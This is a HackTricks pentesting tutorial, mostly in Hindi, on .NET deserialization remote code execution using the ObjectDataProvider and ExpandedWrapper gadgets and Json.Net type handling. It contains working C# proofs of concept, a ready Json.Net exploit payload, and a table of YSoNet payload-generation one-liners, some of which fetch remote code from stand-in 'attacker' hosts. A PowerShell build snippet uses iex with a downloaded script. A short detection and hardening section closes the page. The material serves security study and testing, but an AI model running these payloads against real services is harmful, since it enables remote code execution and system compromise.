hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

233 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
यह पोस्ट **यह समझने के लिए समर्पित है कि ObjectDataProvider गैजेट का शोषण कैसे किया जाता है** RCE प्राप्त करने के लिए और **कैसे** Serialization पुस्तकालयों **Json.Net और xmlSerializer का दुरुपयोग किया जा सकता है** उस गैजेट के साथ।
## ObjectDataProvider Gadget
दस्तावेज़ से: _ObjectDataProvider Class एक ऑब्जेक्ट को लपेटता है और बनाता है जिसे आप एक बाइंडिंग स्रोत के रूप में उपयोग कर सकते हैं।_\
हाँ, यह एक अजीब व्याख्या है, तो चलो देखते हैं कि इस क्लास में ऐसा क्या है जो इतना दिलचस्प है: यह क्लास **एक मनमाना ऑब्जेक्ट लपेटने** की अनुमति देती है, _**MethodParameters**_ का उपयोग करके **मनमाने पैरामीटर सेट करने** के लिए, और फिर **MethodName का उपयोग करके मनमाने ऑब्जेक्ट के मनमाने फ़ंक्शन को कॉल करने** के लिए।\
इसलिए, मनमाना **ऑब्जेक्ट** **डेसिरियलाइज करते समय** **पैरामीटर के साथ एक फ़ंक्शन** **निष्पादित** करेगा।
### **यह कैसे संभव है**
**System.Windows.Data** नामस्थान, जो **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप उस क्लास का **कोड निरीक्षण** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे दी गई छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
![](<../../images/image (427).png>)
जैसा कि आप देख सकते हैं जब `MethodName` सेट किया जाता है तो `base.Refresh()` को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:
![](<../../images/image (319).png>)
ठीक है, चलो देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा ओवरराइड किया गया है और यह यह करता है:
![](<../../images/image (345).png>)
ध्यान दें कि कोड के अंत में `this.QueryWorke(null)` को कॉल किया जा रहा है। चलो देखते हैं कि यह क्या निष्पादित करता है:
![](<../../images/image (596).png>)
ध्यान दें कि यह `QueryWorker` फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प भाग को दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है;** यह वह पंक्ति है जहाँ **मेथड सेट को कॉल किया जाता है**
यदि आप यह जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने पर **यह निष्पादित होगा**, तो आप यह कोड चला सकते हैं:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
ध्यान दें कि आपको `System.Windows.Data` को लोड करने के लिए संदर्भ के रूप में _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ जोड़ने की आवश्यकता है।
## ExpandedWrapper
पिछले एक्सप्लॉइट का उपयोग करते समय ऐसे मामले होंगे जहाँ **ऑब्जेक्ट** को _**ObjectDataProvider**_ उदाहरण के रूप में **डिसेरियलाइज** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, ऑब्जेक्ट को `GetType` का उपयोग करके डिसेरियलाइज किया गया था)। फिर, _ObjectDataProvider_ उदाहरण में लिपटे ऑब्जेक्ट प्रकार के बारे में **कोई जानकारी नहीं होगी** (`Process` उदाहरण के लिए)। आप [DotNetNuke vuln के बारे में अधिक जानकारी यहाँ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) पा सकते हैं।
यह क्लास **दिए गए उदाहरण में लिपटे ऑब्जेक्ट्स के ऑब्जेक्ट प्रकारों को निर्दिष्ट करने** की अनुमति देती है। इसलिए, इस क्लास का उपयोग एक स्रोत ऑब्जेक्ट (_ObjectDataProvider_) को एक नए ऑब्जेक्ट प्रकार में लिपटाने और हमें आवश्यक प्रॉपर्टीज (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_) प्रदान करने के लिए किया जा सकता है।\
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम **_ObjectDataProvider**_ को एक **_ExpandedWrapper_** उदाहरण के अंदर **लिपटाने** में सक्षम होंगे और **जब डिसेरियलाइज किया जाएगा** तो यह क्लास _**OjectDataProvider**_ ऑब्जेक्ट **बनाएगी** जो _**MethodName**_ में निर्दिष्ट **फंक्शन** को **निष्पादित** करेगी।
आप निम्नलिखित कोड के साथ इस व्रैपर की जांच कर सकते हैं:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.
### Json.Net example
First of all lets see an example on how to **serialize/deserialize** an object using this library:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Json.Net का दुरुपयोग
[ysoserial.net](https://github.com/pwntester/ysoserial.net) का उपयोग करते हुए मैंने एक्सप्लॉइट बनाया:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
इस कोड में आप **शोषण का परीक्षण** कर सकते हैं, बस इसे चलाएँ और आप देखेंगे कि एक कैलकुलेटर निष्पादित होता है:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
उपरोक्त ObjectDataProvider + ExpandedWrapper तकनीक केवल उन MANY gadget chains में से एक है जिन्हें **unsafe .NET deserialization** करते समय दुरुपयोग किया जा सकता है। आधुनिक रेड-टीम उपकरण जैसे **[YSoNet](https://github.com/irsdl/ysonet)** (और पुराना [ysoserial.net](https://github.com/pwntester/ysoserial.net)) **तैयार-से-उपयोग करने योग्य दुर्भावनापूर्ण ऑब्जेक्ट ग्राफ़** बनाने की प्रक्रिया को स्वचालित करते हैं, जो दर्जनों gadgets और serialization प्रारूपों के लिए होते हैं।
नीचे *YSoNet* के साथ भेजे गए सबसे उपयोगी chains का संक्षिप्त संदर्भ है, साथ ही यह भी बताया गया है कि वे कैसे काम करते हैं और payloads उत्पन्न करने के लिए उदाहरण कमांड।
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` रिकॉर्ड को भ्रष्ट करता है ताकि, एक बार सामग्री में आने के बाद, डेलीगेट *किसी भी* हमलावर द्वारा प्रदान किए गए तरीके (जैसे `Process.Start`) की ओर इशारा करे | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector` का दुरुपयोग करता है ताकि *बायपास .NET ≥4.8 टाइप-फिल्टरिंग* किया जा सके और सीधे एक प्रदान की गई कक्षा के **constructor** को कॉल किया जा सके या C# फ़ाइल को तात्कालिक रूप से **कंपाइल** किया जा सके | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet` के **legacy XML** प्रतिनिधित्व का लाभ उठाता है ताकि `<ColumnMapping>` / `<DataType>` फ़ील्ड भरकर मनमाने प्रकारों को स्थापित किया जा सके (वैकल्पिक रूप से `--spoofedAssembly` के साथ assembly को फेक करना) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF-सक्षम रनटाइम्स (> .NET 5) पर प्रॉपर्टी गेटर्स को जोड़ता है जब तक कि `System.CodeDom.Compiler.CompilerResults` तक नहीं पहुँचता, फिर *कंपाइल* या `-c` के साथ प्रदान की गई DLL को *लोड* करता है | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (समीक्षा) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करता है ताकि नियंत्रित तर्कों के साथ एक मनमाना स्थिर विधि को कॉल किया जा सके। YSoNet एक सुविधाजनक `--xamlurl` विकल्प जोड़ता है ताकि दुर्भावनापूर्ण XAML को दूरस्थ रूप से होस्ट किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *आदि.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` में `ScriptBlock` को एम्बेड करता है जो तब निष्पादित होता है जब PowerShell ऑब्जेक्ट को डीसिरियलाइज करता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> सभी payloads डिफ़ॉल्ट रूप से **stdout पर लिखे जाते हैं**, जिससे उन्हें अन्य उपकरणों (जैसे ViewState जनरेटर, base64 एन्कोडर्स, HTTP क्लाइंट) में पाइप करना आसान हो जाता है।
### YSoNet का निर्माण / स्थापना
यदि *Actions ➜ Artifacts* / *Releases* के तहत कोई पूर्व-निर्मित बाइनरी उपलब्ध नहीं है, तो निम्नलिखित **PowerShell** one-liner एक निर्माण वातावरण स्थापित करेगा, रिपॉजिटरी को क्लोन करेगा और *Release* मोड में सब कुछ संकलित करेगा:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
संकलित `ysonet.exe` फिर `ysonet/bin/Release/` के तहत पाया जा सकता है।
### पहचान और मजबूत करना
* **पहचानें** `w3wp.exe`, `PowerShell.exe`, या किसी भी प्रक्रिया के अप्रत्याशित बाल प्रक्रियाएँ जो उपयोगकर्ता-प्रदत्त डेटा को डेसिरियलाइज कर रही हैं (जैसे `MessagePack`, `Json.NET`)।
* जब भी पुरानी `BinaryFormatter` / `NetDataContractSerializer` को हटाया नहीं जा सकता है, तब **प्रकार-फिल्टरिंग** (`TypeFilterLevel` = *Full*, कस्टम `SurrogateSelector`, `SerializationBinder`, *आदि*) सक्षम करें और **लागू करें**
* जहाँ संभव हो, **`System.Text.Json`** या **`DataContractJsonSerializer`** पर व्हाइटलिस्ट-आधारित कन्वर्टर्स के साथ माइग्रेट करें।
* खतरनाक WPF असेंबली (`PresentationFramework`, `System.Workflow.*`) को उन वेब प्रक्रियाओं में लोड होने से रोकें जिन्हें कभी भी उनकी आवश्यकता नहीं होनी चाहिए।
## संदर्भ
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net मूल PoC उपकरण](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
{{#include ../../banners/hacktricks-training.md}}